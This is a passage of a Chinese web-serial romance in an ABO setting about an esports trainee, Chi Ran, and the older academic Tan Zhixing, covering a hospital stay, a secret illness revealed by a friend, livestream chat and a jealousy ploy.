他本想拿了东西转身就走,可腿就像被钉在那里一样,挪动不了。 他微垂下眼,不去看潭知行,却感受到潭知行的目光落在他脸上,弄得他脸颊发热。 “经常熬夜吗?”潭知行问,“有黑眼圈了。” 池燃闷闷地嗯了一声,“还行。” 潭知行的视线在池燃脸上身上一寸一寸滑过,又反复流连。几天不见,池燃似乎瘦了些,眼下一片乌青,看着……也没什么精神。 是集训累的?还是,伤心过度……亦或是都有? 潭知行不敢问。 “你……肩膀上的伤,怎么样了?”池燃很不自然地问,“好点了吗?” 潭知行嗯了一声,“好多了,已经拆线了。” 池燃:“哦。” 再这么站着也是尴尬,他心一狠,道,“没事了,我回——” “池燃。”潭知行又叫住他。 池燃顿住步子,犹犹豫豫地抬眼,朝他看过去,“干嘛?” “恭喜你。”潭知行说,“实现了自己的梦想。” “看到很多人喜欢你,我很替你开心。” “……”池燃抿住下唇,半晌,嗯了一声。 “那个,我想——” “嗯?” “……”池燃又是一阵沉默,随后摇了摇头,“没事。” 他这几天有些不舒服,大概是易感期又快到了,抑制剂已经用完了,他很想让潭知行给他抱一下,或者,轻轻咬一口。 可是转念一想,现在这个时间这个地点,他和潭知行这个关系,怎么都不合适。 还是忍一忍吧。 “我回去了。”他说。 “好。”潭知行喉咙上下滑动了下,“集训结束,我来接你。” 池燃没回头。 不知道听见没有。 潭知行望着池燃的背影消失在大楼中,又在门口呆站了好一会儿,才回身走向车边。 他反复琢磨着自己刚刚的一举一动。 他刚才……应该没说什么越界的话吧- “哎池哥,你跑哪儿去了?”见池燃回来,李凯程在床上翻了个身,趴起来看他,“我和于哥都吃完午饭回来了,你现在去食堂估计还能有点剩菜。” “去拿了点东西。”池燃说,“我马上去吃。” 池燃把纸袋里的衣服拎出来,却摸到点什么会哗啦哗啦响的东西。 他疑惑了下,立刻将纸袋倒过来,里面的东西一股脑倾出来。 “我去!”李凯程眼睛一下亮了,“池哥,你从哪儿搞到的!” 池燃看着一桌子薯片辣条巧克力,也愣了。 他没跟潭知行说过要拿这些啊。 被压在辣条下面的,还有一个手机,池燃拿起来看,上面贴了张便利贴,潭知行工整利落的字写在上面:照顾好自己,有需要随时联系我。 池燃忍不住笑了,将便利贴摘下来贴到书桌上。 回身对李凯程和于胜高兴道,“走,带你们吃大餐去!”- 隔天,韩闻烁又赖在潭知行家里,要和潭知行一起看池燃直播。 潭知行对此很无奈,韩闻烁却无赖得理直气壮。他拆开一盒炸鸡,白了潭知行一眼,“切,没有我你能看懂池燃打的吗?” “你得跟他培养共同爱好懂不懂?”韩闻烁恨铁不成钢,“不然时间久了你会被嫌弃的。” 潭知行嗯嗯地应着,在沙发上坐下。 “你给他拿手机了?”韩闻烁问,“他联系你没有?” “还没有。”潭知行说,“可能没什么需要的吧。” 韩闻烁冷笑一声,“哼,可能是单纯不想理你吧。” 潭知行:“……” 直播开始,弹幕又源源不断地飘起来。 【啊啊啊啊啊啊啊我来啦!】 【宝宝你终于开播了!】 【一日不见如隔三秋,想死我了】 【宝宝今天也好帅啊啊啊,美貌在线!】 潭知行默默关掉弹幕,惹得韩闻烁啧了一声,“你关弹幕干什么?” 潭知行:“吵。” 韩闻烁:“看直播就是要一起看弹幕才有意思啊。” 见潭知行压根不理他,韩闻烁又拿出自己的手机点开直播,“行行行,你看大屏,我自己看弹幕。” 潭知行注视向屏幕里池燃的脸,隐约觉得哪里不对。是他的错觉吗?脸颊好像比平时要红,脖子,锁骨也是。 而且怎么一副心绪不宁的样子? 池燃刚挂上耳机,又摘了下来,起身对屏幕道,“我去倒杯水,马上回来。” 弹幕一片: 【好哒宝宝,你慢慢来不着急。】 【乖宝多喝水!】 【等你等你等你】 过了五分钟,弹幕也开始急了。 【人呢?】 【呼叫Fire!】 【咋倒杯水人不见了?】 【妈妈等得花儿都谢了。】 韩闻烁也觉得奇怪,回头问潭知行,“池燃干啥去了?” “不知道。” 潭知行话音刚落,接到一个陌生来电。 他接起来,对方的声音似有急躁。 “请问是潭知行,池燃的监护人吗?” 潭知行顿了下,心下意识揪起来,“……我是。” “我是他的教练,池燃刚才高烧晕倒了,我现在送他去医院,麻烦您来一趟。”—— 作者有话说:小池:[愤怒]可恶的易感期,我不要面子的吗 第60章 “我去, 这都是啥事啊。”韩闻烁开车到医院门口,进停车场的队伍却排起了长队,他急躁地按了两下喇叭, 但也无济于事。 潭知行等不及, 直接解下安全带,下了车。 韩闻烁:“哎你——” “我先去找他。”潭知行语速很快,“你停好车给我打电话。” 韩闻烁连个“好”字都没说完整, 就看着潭知行一阵风似的跑走了。 他暗暗叹出一口气,觉得让潭知行坐副驾还真是个明智的决定。以潭知行这副心急的模样, 让他开车还不一定会出什么事。 “你好,麻烦问下池燃在哪间病房?”潭知行一路跑上三楼,冲到服务台问护士。 护士刚拿起记录簿查看, 忽然有人从身后拍了潭知行一下。 “是潭知行先生吗?” 潭知行一瞬回过身去。 “我是刚才跟您联系过的,池燃的教练。”男人朝他伸出手,“我叫王闲。” 潭知行边同他握手,边问,“池燃怎么样了?” 这种时候, 他都顾不上什么礼节了。 王闲给他往身后的房间指了下, “医生说只是发烧, 让我们不用太担心, 已经在挂水了。” 潭知行稍松下一口气,应道, “好,我去看看他。” 他说罢,径直走向病房,推开房门,就见池燃正安安静静地躺在那里。 心脏落回原位的同时也跟着揪了下, 安心又不安心。 他缓步走过去,注视向池燃的睡颜。 脸颊通红,唇色却泛白,眼下的乌青还是没有好转,一副疲态。 他伸手去碰池燃的脸,指尖顿时传来一阵滚烫。 不出意外,又是易感期惹的祸。 可眼下没有抑制剂,池燃又晕了过去,他一时也束手无策,只能寄希望于普通药物让池燃降温醒过来,然后再说其他的。 潭知行盯着池燃平稳呼吸了一阵,眉头才渐渐舒缓,转身离开病房。 王闲还等在门外。 “池燃醒了吗?”王闲问。 潭知行轻轻摇头,声音也放低,“还没有。” “辛苦您送他来医院,今晚我留下照顾他,您回去休息吧。” 王闲点点头,“诶,有监护人来我也放心了。这孩子平时看起来体质挺好的,可能最近降温受凉了吧,发烧了也不说,真是把我吓一大跳。” “我看他紧急联系人填的是您的联系方式,但是关系那栏什么都没写……” “哥哥。”潭知行微垂下眼,“我是他哥哥。” 王闲:“哦,那还麻烦你也通知下他父母,别让家里担心。” 潭知行嗯了声,“等他身体恢复,我会送他回去继续参加集训。” “不急不急。”王闲说,“身体最要紧,训练的事我会处理。” “麻烦了。”潭知行说,“我送您下楼。” “哎不用。”王闲摆手,“快回去照看池燃吧,他要是好些了也告诉我一声。” 潭知行点头。 送走王闲,潭知行又回到病房。 池燃看起来还是没有要醒的意思。 潭知行坐到床边,静静地注视着他,半晌,才握起池燃的手,凑到唇边,轻轻贴了贴。 这些天他仔细研究过池燃拿给他的那支抑制剂,大概是为了抑制中枢神经,其中不乏一些有伤身体的物质,虽然不知道池燃的体质和他们普通人是否一样,可对普通人来说,无异于慢性毒药。 易感期每次都这样来势汹汹,若是不考虑后果,潭知行能想到的最好的解决方案,便是让池燃回到ABO世界,找一个和他匹配度高的Omega。 生理上的契合是任何其他药物都无法替代的。 但这个方法在池燃那儿明显行不通。 可他也受够了自己每次都这样无能为力,除了陪着等着,他一点办法也没有。 握在掌心的手忽然动了动指尖。 潭知行一瞬朝池燃看过去。 池燃眼皮也动了动,嘴里呢喃着什么,“潭……潭,知行……” “给,给我……我要……” 潭知行怔了两秒,随即反应过来池燃想要的是什么——他身上的‘信息素’。 潭知行坐到床边,扶起池燃上半身,池燃半点力气也没有,脑袋一歪就靠在了潭知行肩上。 半梦半醒间,他似乎闻到了什么好闻的味道,一点一点蹭着去寻。 潭知行感到池燃的齿尖衔住了他的耳垂,几乎瞬间他浑身一颤。 “池燃……” 但池燃好像完全听不到他说话,顺着耳垂吻过他下颌。 潭知行呼吸轻颤,被池燃碰过的每一寸皮肤都又热又痒,可又不敢推开他。 “池燃?”他轻声地叫,握住池燃的手晃了晃。 “嗯……?”池燃终于在迷蒙中睁开眼。 他先是盯着面前的一切反应了两秒,随后才意识到自己正落在一个温热的怀抱里,还有……熟悉的味道。 他诧异地挣扎着起身,侧头去看,“潭知行?!” 他还没恢复,这么一动都头晕,身子一晃差点又栽回潭知行怀里。 潭知行扶住他,“别乱动,刚好点。” 池燃惊得说不出话来,“你,你……” “你晕倒了,你教练叫我过来的。”潭知行解释道。 “感觉好点了吗?”潭知行探了下他额头,还是烫,犹豫后问,“需要咬我吗?” 池燃脑子空白了两秒,推开他,“我不要,我没事。” 开什么玩笑,他们现在这个关系,打死他他都不会咬潭知行一口。 可随即身体里的燥/热又教他做人了。 池燃咬着牙,把潭知行推下床,“你离我远点。” 他转身背对着潭知行,用被子将自己整个蒙住。 可以潭知行的视角来看,被子里的人在发抖。 他无奈地叫了声,“池燃。” “我不要!”池燃爆发出来,“我不需要你!” “……你一定要这样折磨自己吗?”潭知行沉声问。 池燃不肯说话。 半晌,潭知行出声,“知道了。” 他狠了狠心,上前一步,将池燃被子掀起,握住他左手手腕,将针拔掉。 池燃一下慌了,“你干什么?” “我送你回你该在的地方。” 潭知行拦腰将池燃抱起,扛在肩上。 池燃瞪大眼睛,在潭知行怀里挣扎,“潭知行你疯了!” 可潭知行没有要停下的意思,大步朝房门走去。 “我不回去!我不回!”池燃用力打潭知行,可他浑身无力,毫无震慑,“你放开我!你混蛋!” 眼见潭知行一手握在门把上,池燃真的怕了。 他崩溃地哭喊出来,“我错了!我不回去,我听你的。” 潭知行收回手,轻抚了下池燃的头,“嗯,咬吧。” 池燃愤愤地咬住潭知行后颈,一边咬一边往下掉眼泪。 潭知行坐回床边,池燃侧坐到他腿上,沉默地汲取信息素。 他的心还在颤,潭知行怎么可以这么坏,拿不要他这件事威胁他,可偏偏他怕得要命,不得不屈服。 潭知行轻轻抚着池燃的背,感受到怀里的人渐渐平复下来,心才安稳几分。 “对不起。”他说,“吓到你了。” 池燃狠狠咬住他后颈不放,含糊道,“我讨厌你。” “嗯……”潭知行低低应了一声。 讨厌吧,潭知行在心里默念,如果你可以平安健康的话,讨厌吧。 “我没事了。”半晌,池燃松开他后颈,瓮声瓮气道,“放开我吧。” 潭知行这才将池燃放回病床上靠住,注意到池燃脸上两道泪痕,他不禁垂下眼。 如果不是池燃跟他闹别扭,不把自己的健康当回事,他也不想那样。 池燃别过头去,拿手背擦了擦脸,“你走吧,不用管我。” “我今天留下来陪你。”潭知行说。 “你——”池燃转回头来,气道,“你非要跟我过不去是不是?” “……” “池燃,我们谈谈。” “跟你没什么好谈的。”池燃置气道。 “如果你不想见我,等你集训结束,我会搬出去。” “那是你家,要搬走也是我搬。”池燃垂下眼扣手。 “我们分开一段时间,好让彼此都冷静一下。但如果发生像今天这种情况,我希望你不要抗拒我,你的身体健康是第一位。” “……”池燃一阵沉默,半晌,抬起眼来看他,“你担心我,就是把我当弟弟?” 潭知行轻轻嗯了一声。 “你不想我在这儿,我叫韩闻烁过来陪你一晚上。”说着,潭知行起身。 “恢复好了叫他送你回宿舍。” 池燃说不上心里什么滋味,有一种真的心死了的感觉,反倒淡淡的。 他哦了一声,“知道了。”- 潭知行跟韩闻烁嘱咐了很多,但翻来覆去就是那几句话,听得韩闻烁耳朵快起茧子。 他拎了盒从医院对面买的炸鸡,将潭知行踹走,“行了你,再唠叨我把池燃顺窗户扔下去。” 潭知行:“……” “我俩在一起肯定比让他跟你待着顺心。”韩闻烁朝他摆手,“快走吧。” 潭知行还是不太放心,一直盯着韩闻烁进医院才转身离开。 韩闻烁迈着欢快的步子上到三楼,准备和池燃把酒言欢畅谈游戏一晚上,他悄悄推开病房的门,欠兮兮地,“小池燃?你看韩哥给你带啥——” 他刚一推开门,一下愣住。 池燃坐在病床上一个劲儿地掉眼泪,纸巾扔了满床。看见韩闻烁进来,眼泪也没止住。 “不是。”韩闻烁顿时慌了,他一个箭步冲过去,把炸鸡盒放到床头,“不是,你哭啥啊?谁他妈欺负你了,还是哪儿难受啊?哥给你叫大夫你等着——” 池燃连忙拉住韩闻烁,啜泣道,“是潭知行……” “啊啊啊,是潭知行。”韩闻烁一下反应过来,“是潭知行那个王八蛋又拒绝你了?” 池燃边哭边点头。 他以为过了这么多天已经没事了,可潭知行一走,他还是忍不住。这和失恋有什么区别?区别就在他还没恋上。 “他有病。”韩闻烁说。 池燃很认可地点头,“他是有病……他病的不轻。” 韩闻烁急得哎呀一声,直拍大腿,“不是,你听哥说,他真有病!”—— 作者有话说:潭老师:[化了]就这样被揭老底 小池:[可怜][可怜][可怜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 池燃眨眨眼, 有些茫然地看向韩闻烁,“他……” 韩闻烁为难得直转圈,最后一狠心一咬牙, 跟池燃说了。“哥跟你说实话吧, 其实潭知行他真有病。” 韩闻烁说,“他有早发型阿尔兹海默症。” 池燃顿时呆了,眼泪停在眼眶里。 “你知道他妈妈有阿尔兹海默症吧?”韩闻烁说, “他妈今年才53,40岁左右的时候就查出来了, 他跟着做了基因筛查,遗传的。” “这个病不像普通的老年痴呆,要等到七八十岁才记不清人, 我查过,普遍65岁之前就会发病,更早的,就像他妈妈,说不准什么时候就病发了。” 韩闻烁叹口气, “就因为这个, 这么多年他都不肯谈恋爱, 把自己封闭得像个机器人似的。” “……为什么?”池燃颤声问。 “心病吧。”韩闻烁摇摇头, “怕他像他妈妈一样,认不得身边最亲近的人。” “其实他真挺喜欢你的。”韩闻烁说, “从你出现之后,我在他脸上见到的笑容比我之前认识他十几年都多。” 池燃懵懵的,跟韩闻烁说了实话,“我跟他表白,他拒绝我了。” “他那是不敢接受。”韩闻烁叉起腰, 唉声叹气,“我今天跟你说这些估计潭知行要跟我绝交了。他怕自己耽误你,所以才不敢答应你。” “我说真的,你走这几天他都要担心死了,你就看他嘴硬吧,刚才我上楼之前还一顿嘱咐我要照顾好你。” 听完这些,池燃眼睛慢慢亮了,“潭知行喜欢我?” 韩闻烁极其坚定地嗯了一声。 池燃笑出最后一点眼泪来,“潭知行真的喜欢我?” 韩闻烁:“是。” “其实他爸妈,包括我,都挺盼着他谈恋爱的,但是他不听啊。” 韩闻烁跟他认真分析,“他喜欢你是一码事,怎么能让他接受,让他承认又是一码事。” 韩闻烁朝池燃挑眉,“你知道吧,这就得看你的本事了。” 池燃狠了狠心,“那就逼他承认。”- 【啊啊啊啊啊啊啊宝宝我来啦!】 【天呢宝宝,你终于回来了!】 池燃隔了两天才归队,恢复直播,一上线,弹幕就被挤爆了。他眯着眼在弹幕里搜索潭知行的名字,但奈何弹幕这会儿刷得太快,他压根找不见。 【宝宝你怎么样啦?】 【战队发公告说你生病了,怎么样?严重吗?】 【我想死你了宝宝呜呜呜呜呜呜】 【我说呢,原来是生病了,怪不得上次直播到一半人就不见了。】 【训练不要太累啦,照顾好自己呀宝宝!】 池燃看着弹幕,装模作样地轻咳一声,“还行,没完全好,现在还有点头晕。” 其实他早就好了,但知道潭知行会看他直播,他故意说得严重了点,好让潭知行心疼。 他揉揉太阳穴,“没事,我开始播了。” 屏幕外,潭知行向韩闻烁扫过去一眼,问,“你不是说他完全好了吗?” 韩闻烁心虚地磕着瓜子,边吐皮边说,“那玩意,感冒很容易反复的,可能又着凉了呗。” 潭知行:“……” 【宝宝今天不单排呀?】 【哇,今天和同期一起打。】 【哦哦哦我知道于胜,他也很厉害的。】 池燃瞥着弹幕,嗯了一声,“和我室友一起打。” 今天池燃特意拉着李凯程和于胜一起开直播,直播前,他跟李凯程于胜只交代了一件事,那就是给他狠狠气潭知行。 李凯程一开始还觉得这个提议不太靠谱,但听完池燃大致讲了个前因后果,一听俩人在吵架,他立刻义愤填膺地答应下来。至于于胜,商量这事的时候他从头到尾话都不多,只是说没问题。 游戏开始,池燃拿到什么好物资都往李凯程那儿送,李凯程笑嘻嘻地说谢谢池哥,叫得甜得很。 “哎池哥,你晚饭是不是没吃好呀?”他对池燃的计划贯彻执行,“教练找你说话,你去食堂的时候都没什么好吃的了吧?” “我感觉你最近又瘦了。” 池燃:“没事儿,就当减肥了。” 【宝宝你不要减肥啊啊啊啊】 【谁说你需要减肥的!妈妈去暗杀他!】 【现在这样正好啊啊啊,千万不要再瘦了。】 李凯程又装模作样地叹口气,“哎,你昨天半夜还做噩梦了吧?突然坐起来都把我吓一跳,是不是压力太大啊?” 【Fire你去庙里拜拜吧。】 【等着燃宝,妈给你去求神仙。】 【补药那么大压力啦,你包进的】 “Fire。”这时于胜在游戏里叫池燃,“我这儿有三级头,你来拿。” 池燃在地图上看了眼位置,于胜离他不远,随即应道,“来了。” “等等,你前面有一队人。”于胜说,“你别过来了,我去找你。” 池燃:“好。” 过了两分钟,于胜灭了那队人,过来把三级头给池燃,突然问,“你手腕还疼吗?” 池燃愣了下,但捡物资的动作没停。 于胜是什么时候发现他手腕疼的? “呃偶尔有点,没事。” 【我天呢,这就有腱鞘炎了吗?】 【一定要劳逸结合啊宝宝,留得青山在不怕没柴烧】 【嗯嗯嗯?怎么回事?突然好嗑了起来?】 “教练那儿有膏药,你可以去拿。”于胜说。 “算了,我帮你拿。” 池燃嗯了一声。 【于胜也不错啊。】 【可以嗑吗?】 【随机两两组合都很好嗑啊!】 【cpf叉出去。】 韩闻烁看着弹幕,忍不住一笑,转头问潭知行,“哎,你看池燃和室友相处得真挺不错的。” “你之前的担心都多余。” 他指指屏幕,“你说,那个姓于的小男孩,是不是对池燃有意思啊?他挺关心池燃啊。” “池燃跟他配合得还挺不错,一看平时就没少在一起打游戏。” “你别说,其实他长得还挺帅的。” 韩闻烁继续说,“还有那个小黄毛,池燃对他也真好啊。” “这刚认识几天啊,叫得真亲,果然还是同龄人之间有话题。” 潭知行:“……” 他就不该留韩闻烁看直播。 “你看吧。”潭知行说着起身,“我还有事,回书房了。” 韩闻烁装得不在意,冲他挥挥手,“嗯嗯嗯你去,我自己看。” 等潭知行关上门,他回头确认两眼,立刻拿手机给池燃发消息:「成了。」 潭知行坐回书桌前,冷静了片刻,手机忽然弹进来一条消息。 白骁:「潭哥,你等池燃回来跟他说说,帮我要个于胜的签名呗?」 潭知行反手把手机扣了过去。 已读不回- “池哥,我洗完澡啦。”李凯程从浴室里出来,叫池燃,“你去吧。” 池燃嗯了一声,一边咬手一边盯着手机,像是没听到李凯程说话似的。 潭知行怎么还不给他发消息?这对吗? 池燃不禁怀疑自己,是不是今天给的力度还不够猛啊? 要不明天干脆装病? 就在这时,潭知行的消息弹了出来:「休息了吗?」 池燃得逞似的笑了下,把手机按灭,站起身来,这才回李凯程的话,“好,我去洗澡。” 他才不要秒回潭知行的消息,就得晾着,多晾一会儿。 半个小时后,池燃擦着头发从浴室出来,发现手机上果然又多了一条消息。 潭知行:「没睡的话,回我一下。」 池燃拿着手机爬上床,举着手机躺下,给潭知行回消息,语气故意很冷淡:「没睡,什么事?」 潭知行:「白骁托我问你要于胜的签名。」 潭知行:「你和他很熟吗?」 池燃:「熟,我室友。」 池燃:「你跟白骁说,我可以帮他要签名。」 潭知行:「好。」 池燃捧着手机,盯着屏幕上最后一个“好”字,他不信潭知行这就没话跟他说了。 没两秒,屏幕上方又变成了“正在输入中”。 潭知行:「还觉得难受吗?」 潭知行:「用不用给你请假?」 池燃勾起嘴角来笑,回:「嗯,不舒服。」 「不用,能撑住。」 潭知行:「请一天假。」 潭知行:「半天。」 池燃:「不要。」 池燃:「别管我了,我说没事就没事。」 等了两分钟,潭知行没回,池燃忍不住偷笑。 潭知行快气死了吧? 让潭知行瞒着他,不跟他说实话。让他拒绝他,受着吧。潭知行不吃点苦头,他都觉得自己这些天白伤心了。 潭知行:「手为什么疼?腱鞘炎吗?」 池燃冷暴力,回了两个字:「睡了。」 看潭知行吃瘪的样子,池燃莫名觉得有点爽。 他琢磨了一阵,猛一翻身坐起来,把李凯程吓了一跳。 “干啥啊池哥?”李凯程呆住。 池燃下床,“我训练去。” 李凯程:? 拥有两个卷王室友是什么体验? “不是,你和于哥都这么努力?”他眼看着池燃披上衣服就要出门,“我求你们歇歇吧。” “你先睡。”池燃说,“我们回来小点声,不影响你。” 李凯程:“哦……” 池燃犹豫了下,临走时还是把手机揣进了兜里。 将近凌晨一点,这个时候,训练室里,只有于胜一个人。每天直播结束后,他都要额外多练两个小时。看见池燃进来,于胜也有些意外,微扬了下眉。 他摘掉一侧耳机,问池燃,“你还不睡?” 池燃在他旁边的位置坐下,按开电脑,“睡不着。” “打几把,练一会儿。” “我们PK?”于胜问。 “好啊。”池燃应道,“看谁击杀多。” “要开直播吗?”于胜问。 “开吧,反正要凑时长。”池燃说。 他话音刚落,上衣兜里的手机震了两下。 他把手机拿出来,看到潭知行发的消息。 潭知行:「我在你楼下。」—— 作者有话说:邪恶小池:[垂耳兔头]潭知行你等着吧 第62章 池燃几乎是一瞬间从椅子上弹起来, 冲到窗边,向外看去。 于胜愣了愣,坐直身子问他, “你干嘛?” 池燃整个人僵住。 借着朦胧月光, 他看清了远处的人影,真的是潭知行。 潭知行又发过来两条消息:「给你送药。」 「还有一些吃的。」 池燃呆了又呆。 “在看什么?”于胜好奇地跟着他站起来。 “你男朋友?”他看到大门前的人影,又看向池燃, “他来找你了?” 池燃缓慢地点了点头。 “要下楼吗?”于胜问。 要吗? 池燃也在问自己。 潭知行似乎比他想象中还要在乎他…… 可潭知行明明那么在乎他,却就是不肯答应他。因为怕连累他, 甚至都没给他一个选择的机会,问他怕不怕。 “算了。”池燃声音淡淡的,“不理他。” 他又盯着那个身影看了两秒, 回过身,和于胜说,“我们打游戏吧。” 潭知行坐回车里,看着手机上弹出池燃账号的开播提醒,缓缓靠进椅背里, 闭了闭眼。 他知道池燃没睡, 大概是又在赌气, 怪他明明拒绝了他的告白, 明明说了只是把他当弟弟,却又一再地对他好。 不愿意接受, 也是正常的。 就算说好了一切以池燃的身体健康为前提,池燃也不会听。 可是……他还是控制不住自己关心池燃。一听池燃不舒服,他就这么冒失地跑来了。 没吃饱的晚饭怎么办?易感期怎么办?手腕疼又怎么办? 哦对了,现在池燃有个叫于胜的室友,他会帮池燃拿药, 也许还会提醒池燃按时换药。 潭知行沉沉叹出一口气,捏了捏眉心。 片刻后,他点开池燃的直播。第一时间传出来的,却不是池燃的声音。 “Fire,你上左边背坡。” “好。” 潭知行手指停在半空僵了僵,两秒后,把直播上滑关掉。 接下来的一周,池燃对他的态度还是没有好转。送去的手机在池燃手里似乎变成了块板砖,很少发消息来,就算他主动问,池燃的回复也是淡淡的,一两句。 但对这一切,潭知行一点办法也没有,归根结底,是他自作自受。 “邦邦”两声,有人敲响了办公室的门。 潭知行放下手机,抬眼看向门口,“请进。” 何旭推开个门缝探头进来,“潭老师?” 他嘿嘿笑着问,“您现在忙吗?” “什么事?”潭知行瞥了眼时间,不知不觉间,居然都晚上九点半了。 “刚做完实验吗?结果怎么样?” 何旭的笑容一下僵住,他挠挠头走过来,“就,就那样,还差点。” “老师,我找您是想……求您点别的事。” 潭知行:“说吧。” 何旭从身后掏出来两张照片来,放到潭知行桌子上。 潭知行一看,居然是池燃的照片。 他微微皱眉,问,“什么意思?” “那个,老师,Fire……就是池燃,是您男——不是,是您朋友吧?” 潭知行点头,“嗯。” “我妹妹,最近特别喜欢他。”何旭颇为紧张地看着潭知行,“就托我问问,能不能帮她要张签名?” 潭知行垂眼,拿起照片来端详片刻,问何旭,“这个照片,是哪儿来的?” 看起来,是池燃在直播的时候。 “她们自己印的。”何旭说,“现在大家把这个叫小卡,要是再加上亲签,想要的人得特别多。” 看潭知行沉默了几秒,何旭立即认怂,“要是不方便也——” “能帮我要一张吗?”潭知行问。 何旭:? 他结巴,“小,小卡吗?” 潭知行:“嗯。” “签名的事,等我见到他的时候问他,可以的话就拿给你。” 何旭精神了,“好!谢谢潭老师!” “我回去问我妹,明天就给你把小卡拿来!” “嗯,谢谢。”潭知行应道。 等何旭离开办公室,潭知行将桌上两张小卡收进公文包夹层里,小心放好。 他稍有出神,好半天才将心思收回到文献上。 池燃……已经这么火了吗?被很多很多人喜欢,是不是就不需要他了呢?- 时间过得飞快,在青训营的最后一个下午,空气里都弥漫着告别的悲伤氛围。 虽然一开始大家都各自心高气傲,看对方哪儿哪儿都不顺眼,但经过一个月的相处,大家都成了好兄弟。 李凯程早早把行李收拾好,订了回老家的车票,这会儿坐在宿舍床上打游戏。 池燃对着满床满桌子的行李发愁,不知道自己当初是怎么把这些东西塞进行李箱里带过来的。 他侧身跟李凯程说话,“你也不用那么早就订票吧,万一能入选留下呢?” 李凯程“害”了一声,说,“池哥,我对自己的水平有数,你和于哥倒是应该期待一下。” 池燃和坐在另一头一直沉默的于胜对视一眼,随即又收回视线。 一会儿就是公布入选名单的时候了,说不紧张是假的,每个人来这里的目的都是入选进主队,成为职业选手。可成功毕竟是小概率事件,尘埃落定之前,谁都不敢说什么。 潭知行按约定时间提前半小时从家出发,路上经过花店,买了束很漂亮的向日葵,打算给池燃当庆贺礼物。 红灯路口,他将车停下,点开韩闻烁给他发来的微信。是一个微博链接,还有一长串感叹号。 韩闻烁:「池燃进主队了!!!!!!!」 韩闻烁:「我草牛逼!!!」 潭知行扬起一点笑意,给韩闻烁回:「知道了。」 韩闻烁:「你他妈怎么这么淡定?!!!」 事实上,他从没怀疑过池燃的能力和决心。 傍晚五点半,潭知行将车子在TJG门前停下。来接人的家长不多,停车场里只有三五辆车。 零星有几个男生推着行李箱从大门出来,脸上透着疲惫和失落,在路边打了车。 潭知行等到六点,才看见池燃和七八个男生前前后后从楼里走出来。 潭知行站在车边,没走上前,池燃似乎是注意到他,和身旁的人说了句什么,朝他走过来。 其余几个男生有说有笑地往前走了,唯独一个黑发男生回头看了眼池燃。潭知行认得这个男生,叫于胜。 潭知行收回目光,朝池燃淡淡笑了下。 “恭喜。” 池燃站到他面前,表情不太自然,低头嗯了一声。 “你的行李呢?”潭知行问。 “没拿。”池燃说,“教练说不用拿走了,可以直接搬上五楼住。” “下午忙,忘跟你说不用过来了。” 潭知行怔了怔,“……不回家了吗?” “半个月之后正式开始训练,教练说回不回都行。” 池燃直视向他眼睛,“我不打算回了。” 他试图从潭知行眼中捕捉到一丝慌张,但很可惜,没有。 潭知行只是低低应了一声,“可以,你自己决定。” 池燃顿时有点生气。 潭知行真不怕他再也不回去了? 装吧,看你能装到什么时候。 池燃双手插兜,“我和朋友去吃饭唱歌了,他们在等我,走了。” “嗯。” “等一下。”潭知行又叫住他。 池燃做了下表情管理,才转过身来,心里有点得意。 看吧,潭知行就是放心不下他。 “我学生想要一张你的签名,拜托我问问可不可以。”潭知行说。 池燃:? 就这? 他憋住一口气,“签吧,签哪儿?” 潭知行将小卡从包里抽出来给他,又递了只记号笔过来。 准备得还挺周全,池燃愤愤地想。 他接过来,垫在手上两秒签完,怼给潭知行。 “可以了吧?” 潭知行:“嗯。” 池燃:“我们唱完歌还会去酒吧。” 潭知行:“好。” 池燃:“我可能会喝多。” 潭知行:“你朋友会照顾你。” 池燃拳头都硬了。 行,算你有种潭知行。 “再,见。”他咬着牙,说完头也不回地大步走了- 潭知行回到家,一进家门被崩了一身礼花。 “恭喜Fire!!!”韩闻烁的嚎叫贯彻整个屋子。 潭知行深呼吸一口,劝自己冷静,抬手弹掉身上的礼花碎片。 “我说了别搞这些,收拾起来很麻烦。” 韩闻烁探头探脑往他身后看,结果什么也没找见。 “池燃呢?”他问。 潭知行回手关上门,“和朋友聚餐去了。” “啊?!”韩闻烁大失所望,“怎么不提前说一声啊?我蛋糕都摆好了。” “收起来吧。”潭知行走向最里面的房间,环顾这一个月他为池燃准备的电竞房。 好像,用不上了。 潭知行轻轻关上房门,“他说他不回来住了。” 韩闻烁一瞬间get到了什么,嘶了口气,问,“他真这么说的?” 潭知行:“嗯。” “那你没拦他?”韩闻烁问。 “没有,我能说什么?他自己决定吧。”潭知行略有疲惫地在沙发上坐下。 他从前想过有一天池燃会离开这个家,只不过没想到,这一天会来得这么突然。 意外到,让他觉得毫无还手之力,只要池燃轻飘飘一句话,一切都结束了。 这该是他最希望看到的结果,可真当这一刻平静而沉默地来临,他感受到的,只有心脏的钝痛。 韩闻烁盯着潭知行在沙发上发呆,顿时暗叫不妙。 好像玩脱了啊…… 这不是他和池燃期待的效果。 他回身摸过手机偷偷给池燃发消息:「SOS,潭知行emo了。」 「快给他找点事。」 不过两分钟,潭知行的电话响了。 是池燃。 他接起来问,“怎么了?” 但对方的声音陌生又熟悉,“你是池燃的男朋友吗?他喝多了。”—— 作者有话说:潭老师:emo中,勿扰[爆哭] 小池:你知道什么叫串通吗[吃瓜] 第63章 于胜扶着池燃在KTV门口的台阶上坐下, 东张西望了片刻,低头问池燃,“你确定这样可以吗?” 池燃靠在于胜肩上, 睁开个眼缝朝左右瞟, 又烦心地闭上眼,“不知道,就这样吧, 死马当活马医。” 他不过是故意冷落了潭知行几周,潭知行就真以为他不喜欢他了?真是玩不起, 惹得他现在更生气了。 叫于胜过来陪他演一场戏虽是下策,但他就不信潭知行没反应。 晚上八点多,安静的小街上有车子急行驶过的声音。听到“匡”一声车门关上, 脚步声渐近,池燃一个飞起,展开双臂环住于胜的脖子使劲晃,开演。 “我不要回家!我没醉!我不要回家!” 潭知行走近,看见池燃同于胜举止亲昵, 神色不觉暗了几分。 “你好, 我是池燃的男朋友, 麻烦你了。”隔着段台阶的高度, 潭知行和于胜平视,向他伸出手, “把他交给我吧,我带他回家。” 于胜看了眼潭知行,没理他主动递过来的手,转而问池燃,“池燃, 他是你男朋友吗?” 池燃装醉还算有一套,他晃晃悠悠地坐直身子,眯着眼睛朝前看,半晌,伸手一指,“潭知行!” “他,他不是我男朋友。”他看似很委屈地收回手,又窝回于胜肩上,小声嘟囔,“不是,他不是……” 于胜用警惕的目光看向潭知行,又把池燃往怀里揽了揽。 